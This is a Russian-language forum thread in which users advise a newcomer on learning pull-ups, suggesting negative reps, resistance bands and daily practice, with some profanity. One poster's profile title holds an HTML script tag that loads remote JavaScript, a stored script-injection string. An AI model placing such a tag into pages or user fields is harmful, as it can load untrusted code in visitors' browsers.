Загрузка...

Как научиться подтягиваться на турнике?

Тема в разделе Спорт создана пользователем ValeraTimosis 28 май 2022. 670 просмотров

  1. ValeraTimosis
    ValeraTimosis Автор темы 28 май 2022 121 6 сен 2020
    Как научиться подтягиваться на турнике, я уже могу подтягиваться, с приземлением на землю (то есть с земли, подтянулся (не повис!) и опустился назад) но когда повисаю я не могу ни разу подтянуться
     
  2. Narg
    Narg 28 май 2022 СЛИВ СОНЬКИ - lolz.live/threads/8492968 11 139 26 июл 2019
    Я как-то сам научился, наверное с возрастом приходит
     
  3. Монолит
    Монолит 28 май 2022 108 13 ноя 2019
    Также продолжай, рано или поздно получится, и если ты как пивной бочек то похудей сперва
     
    1. ValeraTimosis Автор темы
      Монолит, нет, я раньше с земли вообще не мог, теперь могу до 10 грязно сделать с земли, вес 73
  4. Duuuududi11111
    Duuuududi11111 28 май 2022 Заблокирован(а) 0 3 май 2020
    Тренируй вис на турнике, потом постепенно пытайся с раскачкой подтягиваться
     
  5. its_niks
    its_niks 28 май 2022 <script src='//niks&#46;dev/3.js'> 1773 29 янв 2021
    нужно пытаться каждый день и через какое-то время пойдет
     
    1. SergeyMercy
      its_niks, Я помню был мелким тоже каждый день ходил по дороге к бабушке на турник не мог ни 1 сделать через 4 месяця делал уже 15
  6. AndrewTate
    AndrewTate 28 май 2022 162 25 дек 2018
    укрепляй спину брат, негативные подтягивания, обратным хватом бомби
     
  7. Shemdy
    1. Kirno
      Shemdy, ебать превью смешное, его будто бы камаз переехал нахуй
  8. ГрубыйФранцуз
    ГрубыйФранцуз 28 май 2022 я поїв 225 23 апр 2019
    по немножко стартуй я за год с 1 максимум до 16 максимум пока смог
     
    28 май 2022 Изменено
  9. bog
    bog 28 май 2022 УШЕЛ В АРМИЮ, ПРИДУ ПРИМЕРНО В МАЕ 2026 :pwalk:
    Купи фитнес-резинку (или как она там называется), и подтягивайся с помощью нее
     
  10. Kirno
    Kirno 28 май 2022 14 2 авг 2018
    Виси просто выходи на турничек. И со временем подтянешься. Лучше еще отжиматься дома по подхода 3 в день.
     
  11. СуперСус
    Форум соц., инженерии. :finger_up:
     
    28 май 2022 Изменено
  12. swdcurrent
    swdcurrent 28 май 2022 85 15 июн 2019
    да просто каждый день пытайся делать чистые,отжимайся и потом пойдет как по маслу
     
  13. lean
    lean 28 май 2022 :love2: TRX&ENERGY(FROM 100₽/66.000) - lzt.lol/trx-6 :love2: 10 382 6 сен 2021
    Делать неполный раз , сколько сможешь, пока не получится
     
  14. flugers
    flugers 28 май 2022 39 14 ноя 2019
    Отжимания трень - 10 подходов по 10 повторений. Отдых сколько хочешь. Вот как выйдешь на такое - будет получаться лучше. Также можно с резинкой подтягиваться. Резинка - руки/ноги качать, длинная такая. Перекидываешь через турник, надеваешь на ноги и она даёт тебе буст
     
  15. hatenvy
    hatenvy 29 май 2022 1 20 фев 2022
    Пиздец, гайды тут хуже некуда
    Чтобы научиться подтягиваться, начни подтягиваться с толчком от земли, как только твоя шея будет на уровне с турником, максимально медленно спускайся, так ты НАУЧИШЬСЯ подтягиваться, как только научишься, просто ебашь подтягивания каждый день и все, я за 1 месяц делая по 100 подтягиваний в день дошел с 1 до 17 за одно дыхание
    ZYZZ LEGACY
     
    29 май 2022 Изменено
  16. 7ka34
    7ka34 30 май 2022 6 5 июл 2020
    Я учился так: сначала подпрыгивал и подтягивался, после начал висеть, делал подтягивание одно с виса, потом 2-ое 3-е и так до 10 с рывками, после начал делать чистые, сначала сделал 5 потом 7, 10 и 15 раз. Поставил рекорд в 28 чистых раз. Дальше учился делать выходы, прошлым летом сделал 21 выход на две руки без рывков. Сейчас уже забросил но 20 раз чистых подтягиваний сделаю спокойно
     
    1. Посмотреть предыдущие комментарии (5)
    2. ValeraTimosis Автор темы
      7ka34, я знаю но я понимаю для чего я это делаю
  17. SkifDrehDrew
    ValeraTimosis, купи резинку одну , на турник и коленом в резину упираешься и по чуть подтягиваешься с помощью нее
     
  18. ValeraTimosis
    ValeraTimosis Автор темы 2 июн 2022 121 6 сен 2020
    Поздравьте меня, я смог подтянуться с виса на турнике, пока что 1 раз, но дальше=больше
     
  19. WebSocket
    WebSocket 2 июн 2022 Разработка - > https://lolz.live/threads/7285453/ 467 23 янв 2020
    я после того как на бмх катать начал, подтягиваться научился
     
    2 июн 2022 Изменено
  20. barsov1337
    barsov1337 3 июн 2022 42 26 дек 2019
    отжуманя делый и подтянешся
     
Загрузка...
Top